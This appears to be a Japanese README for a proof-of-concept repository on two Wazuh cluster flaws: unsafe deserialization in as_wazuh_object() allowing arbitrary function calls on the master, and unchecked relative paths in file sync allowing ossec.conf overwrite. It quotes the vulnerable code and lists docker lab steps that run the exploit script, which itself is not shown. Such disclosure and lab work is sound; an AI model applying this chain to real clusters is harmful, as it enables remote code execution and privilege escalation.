
Wazuhクラスタの脆弱性CVE-2026-25769およびCVE-2026-25770に対する概念実証エクスプロイト。安全でないデシリアライゼーションとファイル上書きを介したリモートコード実行と権限昇格を実証します。
警告: このリポジトリには、セキュリティ脆弱性に関連する情報とコードが含まれています。教育目的または許可された環境でのみ使用してください。
Wazuhクラスタ構成(バージョン ≥ 4.0.0)において、2つの重大な脆弱性が特定されました。これらの欠陥は、水平スケーラビリティ、負荷分散、高可用性のために複数のノードを使用するデプロイメントに影響します。この構成により、Wazuhサーバーに負荷をかけることなく複数のエージェントを管理できます。
CVE-2026-25769
DAPiリクエストを介したmasterとworker間の通信を可能にします。workerはLocalClientモジュールを使用してオブジェクトを送信します。masterはメッセージを受け入れ、脆弱な関数as_wazuh_object()でオブジェクトを逆シリアル化し、master上でのコマンド実行を可能にします。
CVE-2026-25770
この脆弱性は前述のものを補完し、<command>タグと<localfile>タグを使用したコマンド実行を可能にします。攻撃者は/var/ossec/etc/ossec.conf設定ファイルが読み込まれるたびにコマンドを実行できます。
どちらも、クラスタ機能を使用する環境において[一般的な影響: 権限昇格、リモート実行など]を可能にします。
masterまたはロールを持つすべてのノード。workerクラスタ構成は、多数のエージェントを抱えるデプロイメントで使用されます。これにより以下が可能になります:
このアーキテクチャは、適切に保護されていない場合、ここで文書化されたような攻撃ベクトルにさらされる可能性があります。
masterはこの関数を呼び出し、任意のコマンドを実行するsubprocessプロセスの作成を可能にします。
def as_wazuh_object(dct: Dict):
try:
if '__callable__' in dct:
encoded_callable = dct['__callable__']
funcname = encoded_callable['__name__'] #getoutput
if '__wazuh__' in encoded_callable:
# Encoded Wazuh instance method.
wazuh = Wazuh()
return getattr(wazuh, funcname)
else:
# Encoded function or static method.
qualname = encoded_callable['__qualname__'].split('.') # getoutput
classname = qualname[0] if len(qualname) > 1 else None
module_path = encoded_callable['__module__'] # subprocess
module = import_module(module_path) # ARBITRARY IMPORT
if classname is None:
return getattr(module, funcname) # RETURNS ARBITRARY FUNCTION
else:
return getattr(getattr(module, classname), funcname)
Wazuhクラスタプロトコル(TCP/1516)は、このプロセスを使用してノード間でファイルを同期します。このプロセスは非特権ユーザーとして実行され、相対パスを受け入れます。
"""Create a file descriptor to store the incoming file.
Parameters
----------
data : bytes
Relative path to the file.
Returns
-------
bytes
Result.
bytes
Response message.
"""
# VULNERABLE LINE: No validation of 'data', no checking for '../', direct file open.
self.in_file[data] = {'fd': open(common.WAZUH_PATH + data.decode(), 'wb'), 'checksum': hashlib.sha256()}
return b"ok ", b"Ready to receive new file"
この構成を使用すると、攻撃者は設定ディレクトリを上書きし、コマンドを実行できる可能性があります。
攻撃者は以下を行う可能性があります:
元のPoCはvikman90によって開発され、この分析の基礎として使用されました。以下に悪用の例を示します:
# 1. init docker compose
docker compose up -d
# 2. wait init all clusters
# 3. Verify cluster is connected
docker exec poc-master /var/ossec/bin/cluster_control -l
# Expected output should show worker01 connected:
# worker01 172.28.0.11 active
# 4. Execute exploit from worker
docker exec poc-worker /var/ossec/framework/python/bin/python3 /scripts/poc.py
# 5. Verify RCE on master
docker exec poc-master cat /var/ossec/etc/ossec.conf